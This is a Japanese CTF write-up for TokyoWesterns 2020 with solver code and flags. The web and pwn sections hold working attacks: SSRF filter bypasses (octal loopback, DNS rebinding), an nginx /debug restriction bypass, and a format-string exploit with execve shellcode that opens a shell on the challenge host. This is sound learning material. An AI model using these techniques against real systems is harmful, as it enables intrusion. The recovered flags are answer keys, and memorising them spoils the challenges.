1209点、43位。難しくない？？？
Welcome (Warmup)
フラグは TWCTF{Welcome_to_TWCTF_2020!!!} です。
TWCTF{Welcome_to_TWCTF_2020!!!}
urlcheck v1 (Web, Warmup)
app.py
import os, re, requests, flask
from urllib.parse import urlparse
app = flask.Flask(__name__)
app.flag = '***CENSORED***'
app.re_ip = re.compile('\A(\d+)\.(\d+)\.(\d+)\.(\d+)\Z')
def valid_ip(ip):
matches = app.re_ip.match(ip)
if matches == None:
return False
ip = list(map(int, matches.groups()))
if any(i > 255 for i in ip) == True:
return False
# Stay out of my private!
if ip[0] in [0, 10, 127] \
or (ip[0] == 172 and (ip[1] > 15 or ip[1] < 32)) \
or (ip[0] == 169 and ip[1] == 254) \
or (ip[0] == 192 and ip[1] == 168):
return False
return True
def get(url, recursive_count=0):
r = requests.get(url, allow_redirects=False)
if 'location' in r.headers:
if recursive_count > 2:
return '🤔'
url = r.headers.get('location')
if valid_ip(urlparse(url).netloc) == False:
return '🤔'
return get(url, recursive_count + 1)
return r.text
@app.route('/admin-status')
def admin_status():
if flask.request.remote_addr != '127.0.0.1':
return '🥺'
return app.flag
@app.route('/check-status')
def check_status():
url = flask.request.args.get('url', '')
if valid_ip(urlparse(url).netloc) == False:
return '🥺'
return get(url)
:
valid_ipのチェックを回避しつつ、/admin-statusにアクセスさせれば良い。http://問題サーバーのIPアドレス/admin-status は、flast.request.remote_addrが127.0.0.1にならないのでダメ。
IPアドレスの表記は色々とあるので回避はできそうだが、正規表現で.区切りの4個の数字に限定されている → 8進数。 http://0177.0.0.1/admin-status 。
TWCTF{4r3_y0u_r34dy?n3x7_57463_15_r34l_55rf!}
nothing more to say 2020 (Pwn, Warmup)
nothing.c
// gcc -fno-stack-protector -no-pie -z execstack
# include <stdio.h>
# include <stdlib.h>
# include <unistd.h>
void init_proc() {
setbuf(stdout, NULL);
setbuf(stdin, NULL);
setbuf(stderr, NULL);
}
void read_string(char* buf, size_t length) {
ssize_t n;
n = read(STDIN_FILENO, buf, length);
if (n == -1)
exit(1);
buf[n] = '\0';
}
int main(void) {
char buf[0x100];
init_proc();
printf("Hello CTF Players!\nThis is a warmup challenge for pwnable.\nDo you know about Format String Attack(FSA) and write the exploit code?\nPlease pwn me!\n");
while (1) {
printf("> ");
read_string(buf, 0x100);
if (buf[0] == 'q')
break;
printf(buf);
}
return 0;
}
書式文字列攻撃。コンパイルオプションは、スタックガード無し、PIE無し、スタック（とその他の領域）実行可能なので何でもできる。スタックバッファオーバーフローの脆弱性は無いけど。libcは提供されていないので、libcの情報無しで解けるのでしょう。.bss（のあるページ）にシェルコードを書き込んで、GOTのprintfのアドレスをシェルコードのアドレスに書き換えた。一度に書き込もうとすると書式文字列が長すぎるので注意。
attack.py
from pwn import *
context.binary = "nothing"
s = remote("pwn02.chal.ctf.westerns.tokyo", 18247)
# https://www.exploit-db.com/exploits/42179
shell = b"\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05"
for i in range(0, 24, 8):
s.writeafter("> ", fmtstr.fmtstr_payload(6, {0x601f00+i: unpack(shell[i:i+8])}))
s.writeafter("> ", fmtstr.fmtstr_payload(6, {0x601028: 0x601f00}))
s.recv(9999)
s.interactive()
$ python3 attack.py
[*] '/mnt/d/documents/ctf/tokyowesterns2020/nothing more to say 2020/nothing'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
[+] Opening connection to pwn02.chal.ctf.westerns.tokyo on port 18247: Done
[*] Switching to interactive mode
$ ls -al
total 24
drwxr-x--- 2 root nothing 4096 Sep 18 19:45 .
drwxr-xr-x 9 root root 4096 Sep 19 00:28 ..
-rw-r----- 1 root nothing 52 Sep 18 15:53 flag.txt
-rwxr-x--- 1 root nothing 8632 Sep 18 15:53 nothing
$ cat flag.txt
TWCTF{kotoshi_mo_hazimarimasita_TWCTF_de_gozaimasu}
TWCTF{kotoshi_mo_hazimarimasita_TWCTF_de_gozaimasu}
Reversing iS Amazing (Reverse, Warmup)
問題名の大文字の通り、入力されたフラグをOpenSSLを使ってRSAの秘密鍵で暗号化し、内部に持っている暗号文と等しくなっているか調べている。RSAの秘密鍵はプログラム中にそのまま入っている。暗号化文はmov byte ptr...で作っているので切り貼り。動かしてメモリから抜いたほうが楽かと思ったけど、GDBは対策がされている？ 秘密鍵と暗号文が分かるので単に復号すれば良い。opensslコマンドの使い方が難しいな。秘密鍵で復号するのは-verifyか。
$ openssl rsautl -verify -inkey key -keyform der < enc > dec
$ cat dec
TWCTF{Rivest_Shamir_Adleman}
TWCTF{Rivest_Shamir_Adleman}
easy-hash (Crypto, Warmup)
main.py
import struct
import os
MSG = b'twctf: please give me the flag of 2020'
assert os.environ['FLAG']
def easy_hash(x):
m = 0
for i in range(len(x) - 3):
m += struct.unpack('<I', x[i:i + 4])[0]
m = m & 0xffffffff
return m
def index(request):
message = request.get_data()
if message[0:7] != b'twctf: ' or message[-4:] != b'2020':
return b'invalid message format: ' + message
if message == MSG:
return b'dont cheet'
msg_hash = easy_hash(message)
expected_hash = easy_hash(MSG)
if msg_hash == expected_hash:
return 'Congrats! The flag is ' + os.environ['FLAG']
return 'Failed: easy_hash({}) is {}. but expected value is {}.'.format(message, msg_hash, expected_hash)
MSGと内容が異なり、easy_hashによるハッシュ値が同じになる文字列を与えれば良い。先頭と末尾以外のバイトは4回足されるのだから、どこかを1増やして、どこかを1減らしても、ハッシュ値は変わらない。例えば、giveをhhve。
$ curl https://crypto01.chal.ctf.westerns.tokyo -d 'twctf: please hhve me the flag of 2020'
Congrats! The flag is TWCTF{colorfully_decorated_dream}
TWCTF{colorfully_decorated_dream}
urlcheck v2 (Web)
app.py
import os, re, time, ipaddress, socket, requests, flask
from urllib.parse import urlparse
app = flask.Flask(__name__)
app.flag = '***CENSORED***'
def valid_ip(ip):
try:
result = ipaddress.ip_address(ip)
# Stay out of my private!
return result.is_global
except:
return False
def valid_fqdn(fqdn):
return valid_ip(socket.gethostbyname(fqdn))
def get(url, recursive_count=0):
r = requests.get(url, allow_redirects=False)
if 'location' in r.headers:
if recursive_count > 2:
return '🤔'
url = r.headers.get('location')
if valid_fqdn(urlparse(url).netloc) == False:
return '🤔'
return get(url, recursive_count + 1)
return r.text
@app.route('/admin-status')
def admin_status():
if flask.request.remote_addr != '127.0.0.1':
return '🥺'
return app.flag
@app.route('/check-status')
def check_status():
url = flask.request.args.get('url', '')
if valid_fqdn(urlparse(url).netloc) == False:
return '🥺'
return get(url)
:
loc = urlparse(url).netloc
ip = socket.gethostbyname(loc)
is_global = ipaddress.ip_address(ip).is_global
で、is_globalが真となるようなurlを与えれば良い。そもそも、netlocを取っているのがおかしい。これはホスト名を取り出すものではない。
>>> urlparse("http://id:pass@example.com:1234/path?param=value#hash").netloc
'id:pass@example.com:1234'
この辺で何かできるのかと思ったけど、ドメイン名として正しくてIPアドレスが引ける文字列でないと、gethostbynameが例外を吐いてしまう。
DNS Rebinding。便利なサイトがある。
http://08080808.7f000001.rbndr.us/admin-status を入力すると、gethostbynameによる初回のDNS解決では8.8.8.8が短いTTLで返り、requests.getによるDNS解決では127.0.0.1が返る。
別解。
自分のドメインに次のAレコードを割り当てる：
— Ark (@arkark_) September 21, 2020
ss.{domain name} → 適当なグローバルIPアドレス
xn--zca.{domain name} → 127.0.0.1
ß.{domain name}/admin-statusを投げる
TWCTF{17_15_h4rd_70_55rf_m17164710n_47_4pp_l4y3r:(}
Angular of the Universe (Web)
フラグが2個。どちらも解けなかった。
ソースコードが多くてつらいな……。docker-compose.ymlによると、フラグは環境変数FLAGとFLAG2で渡している。FLAGをgrepすると、1個目は/debug/answerにアクセスすると出てくることが分かる。ただし、リバースプロキシのnginxで/debugは止められている。
nginx.conf
server {
listen 8080 default_server;
root /var/www/html;
server_name _;
location / {
proxy_pass http://app;
proxy_set_header Host $host;
}
location /debug {
# IP address restriction.
# TODO: add allowed IP addresses here
allow 127.0.0.1;
deny all;
}
}
nginxのproxy_passは、末尾の/の有無で挙動が変わる。
nginxのlocationなどの判定は、/../などを解釈した後で行われる。proxy_passの末尾にこの問題のように/を付けないと、解釈する前のURLがそのまま渡される。例えば、
$ curl --path-as-is 'http://universe.chal.ctf.westerns.tokyo/debug/answer/../../'
とすると、/と解釈してlocation /debugのチェックをスルーし、 http://app/debug/answer/../../ の結果を返す。で……？ これだと奥のアプリも/の結果を返すので何の意味も無い（ただ、/にアクセスした場合と異なり、index.htmlが返ってくるのが気にはなる）。
09:01 (terjanq) GET /%64ebug/answer
IRCによると、/\%64ebug/answerでいけるらしい。何がどう動いているか全く分からないな……。/%64ebug/answerはnginxで弾かれる。/\debug/answerは奥のアプリがフラグを返さない。
TWCTF{ky0-wa-dare-n0-donna-yume-ni?kurukuru-mewkledreamy!}
2個目のフラグは、/api/true-answerを内部から叩けば取れる。でも、server side requestは、
answer.server.ts
getAnswer() {
return this.http.get('/api/answer')
}
しかないし。どうしろと……？
作問者の解説があったわ。なるほど。
smash (Pwn)
解けなかった。
書式文字列攻撃。ただし、Intel CETが有効。
【pwn 36.0】Intel CETが、みんなの恋人ROPを殺す - newbieからバイナリアンへ
（ROPではないけど）殺されるのではないのか……？
Tamarin (Reverse)
Xamarin。
でdllを引っこ抜いて、dnSpyで読める。
uint32 equation[22][33];
for (int i=0; i<22; i++)
{
equation[i][0] = unpack(flag[i*4:i*4+4]);
for (int j=1; j<33; j++)
equation[i][j] = equations_arr[i][j-1];
}
for (int i=0; i<22; i++)
{
uint32 num = rand32();
for (int j=0; j<10000; j++)
num = sum(equation[i][k]*num**k for k in range(32));
if (num!=equation[i][32])
return "NG";
}
return "OK";
C++とPythonが混ざった擬似コードで書くとこんな感じの処理。numの初期値が乱数……？ でも、この処理はフラグが正しければ、常に"OK"を返すはずである。numの初期値がどんな値でもフラグが正しければ"OK"を返すはず。良く見ると、equations_arrの（最後の要素以外の）値は全て偶数。2の倍数を何回も掛けられて、途中で初期の乱数分は消えるはず。
後はフラグを4バイトずつ総当たり……してみたけど、最初の4バイト分すら終わらない。num**kをjのループごとにnumを掛けていくように工夫することで、num**kの中でのループが消える。これで1時間くらいで最初の4バイトが計算できた。コンテストが終わってしまう。考えてみれば、numの初期値の乱数の影響が消えるという話は、初期値以外にも適用できて、10000回もループする必要はない。
solve.cpp
# include <stdio.h>
# include <vector>
using namespace std;
unsigned int C[22][32] = {
{2921822136u, 1060277104u, 2035740900u, 823622198u, 210968592u, 3474619224u, 3252966626u, 1671622480u, 1174723606u, 3830387194u, 2514889364u, 3125636774u, 896423784u, 4164953836u, 2838119626u, 2523117444u, 1385864710u, 3157438448u, 132542958u, 4108218268u, 314662132u, 432653936u, 1147047258u, 1802950730u, 67411056u, 1207641174u, 1920298940u, 2947533900u, 3468512014u, 3485949926u, 3695085832u, 3903653528u},
{463101660u, 3469888460u, 2006842986u, 144738028u, 630007230u, 3440652086u, 2322916652u, 2227002010u, 1163469256u, 23859328u, 2322597530u, 3716255122u, 2876706098u, 713374856u, 2345958624u, 3496771192u, 1773957550u, 146382778u, 1141367704u, 1061893394u, 994321632u, 3407332344u, 2240786438u, 2218631702u, 2906647610u, 1919308420u, 2136654012u, 164975906u, 2834189362u, 3118478912u, 3258673870u, 3211411825u},
{2558729100u, 1170420958u, 2355877954u, 3593652986u, 2587766164u, 2271696650u, 1560549496u, 132089692u, 2893757564u, 3469624876u, 10109206u, 2948199026u, 4170042296u, 2717317064u, 4210960804u, 93756380u, 2006217436u, 2988057920u, 2251383150u, 226355976u, 579516546u, 3915017586u, 1273838010u, 2852178952u, 4272774672u, 1006507228u, 3595131622u, 1880597220u, 1230996622u, 2542910224u, 917668128u, 1612363977u},
{3637139654u, 2593663532u, 649194106u, 4275630476u, 2730487128u, 905133820u, 2868808700u, 1284610026u, 1051455306u, 272375560u, 1219428572u, 163965224u, 3899483864u, 309833108u, 1862243284u, 1919038730u, 3414916994u, 3134382762u, 2018925234u, 3467081876u, 4045123308u, 4244105094u, 4205568254u, 1793827648u, 257732384u, 2092183712u, 3517540150u, 2641565070u, 2181538960u, 2670634300u, 2070334778u, 1995308868u},
{561434200u, 2730097174u, 1499965472u, 760244614u, 1588114416u, 521516362u, 2963707630u, 1896166800u, 411250470u, 1601999958u, 2973942456u, 3027806424u, 1238337602u, 1380721280u, 122976200u, 788897864u, 3589391734u, 1987301254u, 1085198712u, 3553616586u, 1994354546u, 1684916442u, 2788234788u, 2641884090u, 612801768u, 1801824798u, 2019943314u, 3304068906u, 849354132u, 44941780u, 3473262708u, 1444837808u},
{921974086u, 404262832u, 1353817916u, 764855648u, 2290476820u, 2023815980u, 669786172u, 791841140u, 526348842u, 2979022342u, 3656325786u, 1276970440u, 2424614726u, 1190814714u, 2804417116u, 3654263826u, 3068580996u, 1908493640u, 3101330462u, 792198672u, 1772484794u, 4050408722u, 611660842u, 1610808360u, 431629552u, 2319897718u, 3255085210u, 1426503472u, 1630566802u, 4241881448u, 1606014350u, 636517450u},
{2906103140u, 1116553354u, 2279536366u, 3011561210u, 2641603848u, 1646150780u, 192124694u, 611421916u, 3416039786u, 4208848404u, 474397384u, 1491088256u, 3177553844u, 2042765300u, 1653674858u, 1365840538u, 1595225706u, 2705938552u, 3180386458u, 1723055560u, 2280421090u, 1241156010u, 3807390206u, 2595800854u, 2890507242u, 4068903400u, 3923234634u, 2613933834u, 3927909200u, 2149793556u, 3589302752u, 802516900u},
{171242408u, 1411016272u, 2890085382u, 624162464u, 3117870816u, 3388454296u, 3869111620u, 948964384u, 1670102044u, 3432346180u, 1670460686u, 3674313702u, 4108083090u, 915550832u, 4249135230u, 411447682u, 2915987712u, 3865207952u, 4017666788u, 275767786u, 2506858524u, 3488718446u, 1995975410u, 566166116u, 1590333384u, 329205954u, 3913164274u, 620615436u, 1464604756u, 269837028u, 963851056u, 2483789524u},
{4043184956u, 3569779124u, 3817645374u, 4281618348u, 4144074366u, 3776223584u, 2260112022u, 2417238210u, 4004384546u, 1196429850u, 1429697170u, 3075499898u, 2507660230u, 1342925724u, 3951341456u, 229184726u, 2762396986u, 1612961426u, 986238002u, 1228690306u, 3948701236u, 1378190546u, 3106898794u, 1894874158u, 1488049036u, 3718233910u, 1078939754u, 2355898312u, 2030934192u, 2879370894u, 3017715248u, 1647621107u},
{3849716376u, 3412391848u, 420800182u, 156925722u, 3602232204u, 2645326622u, 3864083570u, 1279782822u, 878821008u, 1906288878u, 1396282244u, 1641728726u, 2295751090u, 290937256u, 1958396986u, 2115100470u, 3706945590u, 2885002942u, 1935777480u, 1483762940u, 3589264430u, 3791465274u, 2553819596u, 2050180502u, 1381704584u, 4640270u, 628970046u, 774725214u, 2575508070u, 1330692832u, 1250987676u, 3756982724u},
{1460953346u, 1175847424u, 3477700838u, 3783709768u, 1064663570u, 3559971784u, 3802954664u, 2431960456u, 2198986400u, 859802318u, 3783810034u, 1110187920u, 4244034440u, 1796543058u, 902449590u, 160031782u, 3639253664u, 4255746326u, 3339514496u, 218988706u, 4085181614u, 2342973726u, 1391523108u, 1120970708u, 2639842372u, 156321138u, 1587974922u, 3686627774u, 1648124740u, 2095688044u, 293533614u, 3056924137u},
{1034259104u, 4077045412u, 789979418u, 961028604u, 2185949320u, 3457364068u, 3532291848u, 2206594748u, 3072062072u, 1796530288u, 1402389280u, 3478769990u, 196567236u, 3940435298u, 2237679842u, 668941406u, 170819894u, 1102049112u, 131349762u, 2512464482u, 4159048294u, 2186098090u, 123947608u, 1742064290u, 1711289746u, 1449132362u, 58078952u, 2976574968u, 1774398264u, 1532589156u, 4089484268u, 4041979478u},
{3681899832u, 4208608358u, 1951338724u, 3772673566u, 3160075610u, 1422174080u, 2431526454u, 529884656u, 2722748162u, 236192616u, 2684139926u, 697549902u, 3546454434u, 1921398338u, 1310272304u, 1691292498u, 4134700116u, 720619430u, 2592536546u, 2188997288u, 2461521148u, 455077540u, 1421274126u, 1052585740u, 2383754190u, 1567602170u, 3773864138u, 4036579298u, 2416620860u, 1931099884u, 2051263696u, 310763286u},
{1461705722u, 968835462u, 2563821358u, 576185928u, 1613137824u, 940353300u, 652295412u, 1135005196u, 3607866196u, 3307698550u, 3916080186u, 4052934590u, 3991167852u, 3799175976u, 3393348946u, 950814766u, 2174463160u, 2422320256u, 959545514u, 2820210140u, 4284041840u, 3082466322u, 1257510060u, 2676710840u, 127465314u, 3887977956u, 3218198116u, 957094088u, 1409365960u, 2217798938u, 277108032u, 2579736592u},
{3776055232u, 823459706u, 1913270776u, 1721511850u, 633354432u, 3901765934u, 2089017122u, 1103648570u, 3791238880u, 1686042442u, 1567720048u, 2924815412u, 1695861754u, 3641036796u, 1208391908u, 1593134050u, 1674288590u, 2322785248u, 2472109738u, 3572933674u, 3828029068u, 1641647380u, 4116180236u, 3884220004u, 3146594508u, 3587030908u, 3451856524u, 2965945264u, 162291656u, 2061732942u, 1551591510u, 4014200221u},
{3406794856u, 3181753846u, 2984888850u, 1748566984u, 1311737108u, 3415409722u, 2398926736u, 2006269026u, 3117725174u, 2901254050u, 2733703362u, 1595001962u, 106879068u, 3933136528u, 245096038u, 666024082u, 134803296u, 1657783988u, 3429228290u, 2120419114u, 2879013028u, 9653606u, 305704628u, 3793128986u, 369835124u, 2274924880u, 4233339440u, 2224753480u, 2427854922u, 1808326540u, 1833703938u, 2391461119u},
{1827597388u, 454565514u, 1282880792u, 561174442u, 3610484436u, 2327669348u, 765794442u, 3705161518u, 1715916192u, 292859360u, 183730846u, 3298097994u, 3535037218u, 2904849282u, 348832662u, 1856773750u, 3618335118u, 3017093112u, 3354956190u, 3208811970u, 897522204u, 2835584374u, 3097985334u, 2108903166u, 3230714490u, 2597789348u, 1597521406u, 1663858876u, 94923994u, 883872856u, 3230397040u, 3420763893u},
{4065160224u, 2129787468u, 3456903512u, 2860656238u, 2663588170u, 3224900102u, 2827778318u, 2685874320u, 2005737334u, 586304716u, 472376412u, 2938324550u, 3459137716u, 3422216092u, 3082124658u, 1173945064u, 842495374u, 2564495050u, 357433170u, 2050324102u, 1138367532u, 854845936u, 3054001576u, 2465772674u, 2305389082u, 3669610606u, 3527889292u, 3817664802u, 4238531160u, 1556372762u, 777986002u, 1126454981u},
{764733144u, 3965849612u, 1668893328u, 2104626056u, 1653642872u, 2883395356u, 3015268318u, 2322404760u, 1185726976u, 1607036694u, 3064704530u, 3639372768u, 1252489394u, 3950622630u, 3889240956u, 233990458u, 2393973872u, 3609439896u, 2108036182u, 152726882u, 3730671578u, 3038534682u, 3388044150u, 3128791454u, 2499312664u, 3396894570u, 2872225186u, 3048419004u, 2864782986u, 3169897264u, 2890258816u, 753842003u},
{2403595118u, 2093259638u, 2763900156u, 3772789760u, 3282639530u, 2884294140u, 3879894514u, 2512089226u, 318451120u, 2464691316u, 2179668204u, 795049786u, 326585310u, 1313213364u, 3437852224u, 4055872768u, 1224395344u, 1911910472u, 983774674u, 3804144712u, 3208317764u, 1534290234u, 3243577720u, 617743358u, 378252266u, 3612369740u, 1924240610u, 961715850u, 2058485164u, 1460892148u, 2613095898u, 73199927u},
{3093631524u, 2704600210u, 3519611266u, 5414320u, 3358912704u, 2462642760u, 3764896542u, 1253645320u, 4034052234u, 3137650284u, 4083324920u, 2667059126u, 436316958u, 497182460u, 404768030u, 1122443700u, 432434942u, 443290780u, 3487257114u, 2699955512u, 4250049274u, 3991832458u, 1037538700u, 3125332984u, 1533312690u, 1452437348u, 1283257518u, 3946567854u, 716640500u, 2417637998u, 3063327834u, 82885668u},
{1985108u, 1694522756u, 4205785758u, 333118606u, 2944637686u, 2196892858u, 4092971632u, 83374602u, 4049383084u, 2980843496u, 1801648602u, 2639009750u, 1944350566u, 3046229260u, 2662687100u, 2423732014u, 4179240348u, 1035280058u, 1015236846u, 3488976898u, 1530833166u, 3723596058u, 4125718292u, 1095267878u, 3635353922u, 2932904358u, 2764606674u, 45921060u, 3107074868u, 4198045636u, 1923836480u, 366302822u}
};
int main()
{
vector<int> F;
F.push_back(0);
for (int i=0x20; i<0x7f; i++)
F.push_back(i);
for (int ci=0; ci<22; ci++)
{
for (int f1: F)
for (int f2: F)
for (int f3: F)
for (int f4: F)
{
unsigned int f = f4<<24|f3<<16|f2<<8|f1;
unsigned num = 1234;
for (int i=0; i<100; i++)
{
unsigned int num2 = f;
unsigned int x = 1;
for (int i=0; i<31; i++)
{
x *= num;
num2 += C[ci][i]*x;
}
num = num2;
}
if (num==C[ci][31])
{
printf("%c%c%c%c", f1, f2, f3, f4);
goto end;
}
}
printf("\n?\n");
end:;
}
printf("\n");
}
TWCTF{Xm4r1n_15_4bl3_70_6en3r4t3_N471v3_C0d3_w17h_VS_3n73rpr153_bu7_17_c0n741n5_D07_N3t_B1n4ry}
sqrt (Crypto)
こういうシンプルな問題が好き。
chall.py
from Crypto.Util.number import bytes_to_long, isPrime
from secret import flag, p
def encrypt(m, k, p):
return pow(m, 1 << k, p)
assert flag.startswith("TWCTF{")
assert len(flag) == 42
assert isPrime(p)
k = 64
pt = bytes_to_long(flag.encode())
ct = encrypt(pt, k, p)
with open("output.txt", "w") as f:
f.write(str(ct) + "\n")
f.write(str(p) + "\n")
$e=2^{64}$として、$ct = pt^e \mod p$。RSAのように、$d=\phi(p)=p-1$として、$ct^d$を計算すれば良いだろうか。ところで、$p$は0x2564...e8c0000001。$p-1$が約数に$2^{30}$を持つので、$ct^d = pt^{0x40000000} \mod p$。
Mod上で平方根を計算するアルゴリズムがあった。理論は分からないが、アルゴリズムをコピペ。これを30回繰り返せば良い。ただし、$x$が平方根ならば$-x$も平方根になりうる。まあ、$2^{30}$通りだし全通り試せばいいか → 全然終わらない。
4個の4乗根$a$, $b$, $c$, $d$を求めることを考える。$a=-b$, $c=-d$, $a^2=-c^2$。$a$から$c$に求めようとすると、$c=\sqrt{-1}a = ia$。-1の0x20000000乗根を掛けていけば良いのかな。複素平面上で$\omega$を掛けてぐるぐるするイメージ。
solve.py
from Crypto.Util.number import long_to_bytes, inverse
import random, math
ct = 5602276430032875007249509644314357293319755912603737631044802989314683039473469151600643674831915676677562504743413434940280819915470852112137937963496770923674944514657123370759858913638782767380945111493317828235741160391407042689991007589804877919105123960837253705596164618906554015382923343311865102111160
p = 6722156186149423473586056936189163112345526308304739592548269432948561498704906497631759731744824085311511299618196491816929603296108414569727189748975204102209646335725406551943711581704258725226874414399572244863268492324353927787818836752142254189928999592648333789131233670456465647924867060170327150559233
d = inverse(2**64, p-1)
n = pow(ct, d, p)
# n = pt**0x40000000 (mod p)
S = 30
Q = p//2**S
random.seed(1234)
def tonelli_shanks(n):
z = 0
while pow(z, (p-1)//2, p)!=p-1:
z = random.randint(0, p-1)
M = S
c = pow(z, Q, p)
t = pow(n, Q, p)
R = pow(n, (Q+1)//2, p)
while True:
if t==0:
return 0
if t==1:
return R
i = 0
while (pow(t, 2**i, p)!=1):
i += 1
if M-i-1<0:
return 0
b = pow(c, 2**(M-i-1), p)
M = i
c = b**2%p
t = t*b**2%p
R = R*b%p
pt = n
for i in range(S):
pt = tonelli_shanks(pt)
assert pow(pt, 2**S, p)==n
d = p-1
for i in range(S-1):
d = tonelli_shanks(d)
c = 0
for i in range(2**S):
if c%1000000==0:
print("%.2f%%"%(c/2**S*100))
c += 1
flag = long_to_bytes(pt)
if len(flag)==42 and flag.startswith(b"TWCTF{"):
print(flag.decode())
break
pt = pt*d%p
$ python3 solve.py
0.00%
0.09%
0.19%
0.28%
0.37%
:
18.53%
18.63%
TWCTF{17s_v3ry_34sy_70_f1nd_th3_n_7h_r007}
TWCTF{17s_v3ry_34sy_70_f1nd_th3_n_7h_r007}
twin-d (Crypto)
task.rb
require 'json'
require 'openssl'
p = OpenSSL::BN::generate_prime(1024).to_i
q = OpenSSL::BN::generate_prime(1024).to_i
while true
d = OpenSSL::BN::generate_prime(1024).to_i
break if ((p - 1) * (q - 1)).gcd(d) == 1 && ((p - 1) * (q - 1)).gcd(d + 2) == 1
end
e1 = OpenSSL::BN.new(d).mod_inverse(OpenSSL::BN.new((p - 1) * (q - 1))).to_i
e2 = OpenSSL::BN.new(d + 2).mod_inverse(OpenSSL::BN.new((p - 1) * (q - 1))).to_i
flag = File.read('flag.txt')
msg = OpenSSL::BN.new(flag.unpack1("H*").to_i(16))
n = OpenSSL::BN.new(p * q)
enc = msg.mod_exp(OpenSSL::BN.new(e1), n)
puts ({ n: (p*q).to_s, e1: e1.to_s, e2: e2.to_s, enc: enc.to_s }).to_json
dとd+2のどちらも(p-1)*(q-1)と互いに素であるdを探して、普通とは逆にdからeを求めて、RSA。同一のnとmsgを異なるe1とe2で暗号化しているのだから、Common Modulus Attackができ……ない。与えられるのはe1で暗号化した暗号文だけだった。
$e_1$と$d$に成り立つ性質は、$e_1d=1 \mod n$である。同様に$e_2(d+2)=1 \mod n$。また、拡張ユークリッドの互除法を使うと、$xe_1+ye_2=1$が成り立つような$x$と$y$が求められる。これらを使って、
xe_1d = x \\
ye_2d + 2ye_2d = y \\
(xe_1d + ye_2)d + 2ye_2 = x + y \\
d + 2ye_2 = x + y \\
d = x + y - 2ye_2
solve.py
import json, sys
from Crypto.Util.number import *
sys.setrecursionlimit(99999999)
x = json.load(open("output"))
n = int(x["n"])
e1 = int(x["e1"])
e2 = int(x["e2"])
enc = int(x["enc"])
# x,y,d = exgcd(m, n)
# x*m+y*n = d = gcd(m, n)
def exgcd(m, n):
if n>0:
y,x,d = exgcd(n, m%n)
return x, y-m//n*x, d
else:
return 1, 0, m
x, y, _d = exgcd(e1, e2)
d = x+y-y*2*e2
flag = pow(enc, d, n)
print(long_to_bytes(flag).decode())
TWCTF{even_if_it_is_f4+e}
The Melancholy of Alice (Crypto)
解けなかった。
ecnrypt.py
from Crypto.Util.number import getStrongPrime, getRandomRange
N = 1024
def generateKey():
p = getStrongPrime(N)
q = (p - 1) // 2
x = getRandomRange(2, q)
g = 2
h = pow(g, x, p)
pk = (p, q, g, h)
sk = x
return (pk, sk)
def encrypt(m, pk):
(p, q, g, h) = pk
r = getRandomRange(2, q)
c1 = pow(g, r, p)
c2 = m * pow(h, r, p) % p
return (c1, c2)
def main():
with open("flag.txt") as f:
flag = f.read().strip()
pk, sk = generateKey()
with open("publickey.txt", "w") as f:
f.write(f"p = {pk[0]}\n")
f.write(f"q = {pk[1]}\n")
f.write(f"g = {pk[2]}\n")
f.write(f"h = {pk[3]}\n")
with open("ciphertext.txt", "w") as f:
for m in flag:
c = encrypt(ord(m), pk)
f.write(f"{c}\n")
if __name__ == "__main__":
main()
ElGamal暗号。平文は1文字ずつで小さいが、ElGamal暗号では乱数も使っているので総当たりはできない。
pもちゃんとgetStrongPrimeで安全素数を使っている……かと思ったら使っていない。getStrongPrimeは、p-1が「at least one large prime factor」を持つ素数を返すのであって、(p-1)/2が素数であることは保証していない。実際この問題のpは、p-1が2, 3, 5, 19, 5710354319を約数に持っている。
これで何ができるかググっていると、この論文が出てきた。
ElGamal暗号の$c_2 = mg^{rx}$について、$g^a$で生成される要素の個数（$g$の位数）が小さくなり、$m$が$g$から生成されないときに脆弱になる。$g$の位数を$n$として、$c_2^n=m^ng^{rxn}=m^n(g^n)^{rx}=m^n$。あとは$m$を総当たりすればOK。「n can be computed efficiently」としか書かれていなくて、実際の求め方が分からないのだが……。まあ、$n$は$p-1$の約数ではあるので、$p-1$の約数を色々試せば良いだろう。と試したが、$g^n=1$となるような$n$が無かった。分からん。
Birds (Misc)
解けなかった。
TWCTF{
BC552
AC849
JL106
PQ448
JL901
LH908
NH2177}
ちゃんとした文になります。
Flag format is /^TWCTF{[A-Z]+}$/
こういう問題がいっぱい出ていたのが昔のCTFなんだよな。これは飛行機の便名。出発空港と到着空港に直すと、
TWCTF{
OKA NGO
LHR YYZ
ITM HND
TBS ODS
HND OKA
FRA LHR
NRT ITM
}
ここから文に直すのはどうしたら良いのだろう。
mask (Misc)
192.168.55.86/255.255.255.0
192.168.80.198/255.255.255.128
192.168.1.228/255.255.255.128
192.168.90.68/255.255.254.0
:
こういう問題が(ry サブネット部分を文字に変換。
solve.py
P = """
192.168.55.86/255.255.255.0
192.168.80.198/255.255.255.128
192.168.1.228/255.255.255.128
192.168.90.68/255.255.254.0
192.168.8.214/255.255.255.128
192.168.5.197/255.255.255.128
192.168.71.90/255.255.255.0
192.168.62.55/255.255.255.192
192.168.78.209/255.255.255.128
192.168.76.216/255.255.255.128
192.168.91.202/255.255.255.128
192.168.93.108/255.255.255.0
192.168.74.76/255.255.254.0
192.168.10.88/255.255.254.0
192.168.82.236/255.255.255.128
192.168.13.246/255.255.255.128
192.168.99.228/255.255.255.128
192.168.68.83/255.255.252.0
192.168.23.113/255.255.255.192
192.168.52.113/255.255.255.192
192.168.69.99/255.255.255.0
192.168.19.114/255.255.255.192
192.168.53.236/255.255.255.128
192.168.90.117/255.255.254.0
192.168.35.90/255.255.255.0
192.168.91.121/255.255.255.0
192.168.48.49/255.255.255.192
192.168.27.104/255.255.255.0
192.168.98.204/255.255.255.128
192.168.93.87/255.255.255.0
192.168.44.113/255.255.255.192
192.168.40.104/255.255.248.0
192.168.25.227/255.255.255.128
192.168.57.50/255.255.255.192
192.168.97.115/255.255.255.0
192.168.30.47/255.255.255.192
192.168.10.102/255.255.254.0
192.168.51.209/255.255.255.128
192.168.82.125/255.255.255.192
192.168.72.125/255.255.255.192
"""
P = P.split("\n")[1:-1]
ans = ""
for p in P:
a, m = p.split("/")
a = int(a.split(".")[-1])
m = int(m.split(".")[-1])
ans += chr(a&~m)
print(ans)
$ python3 solve.py
VFdDVEZ7QXJlLXlvdS11c2luZy1hLW1hc2s/fQ==
$ python3 solve.py | base64 -d
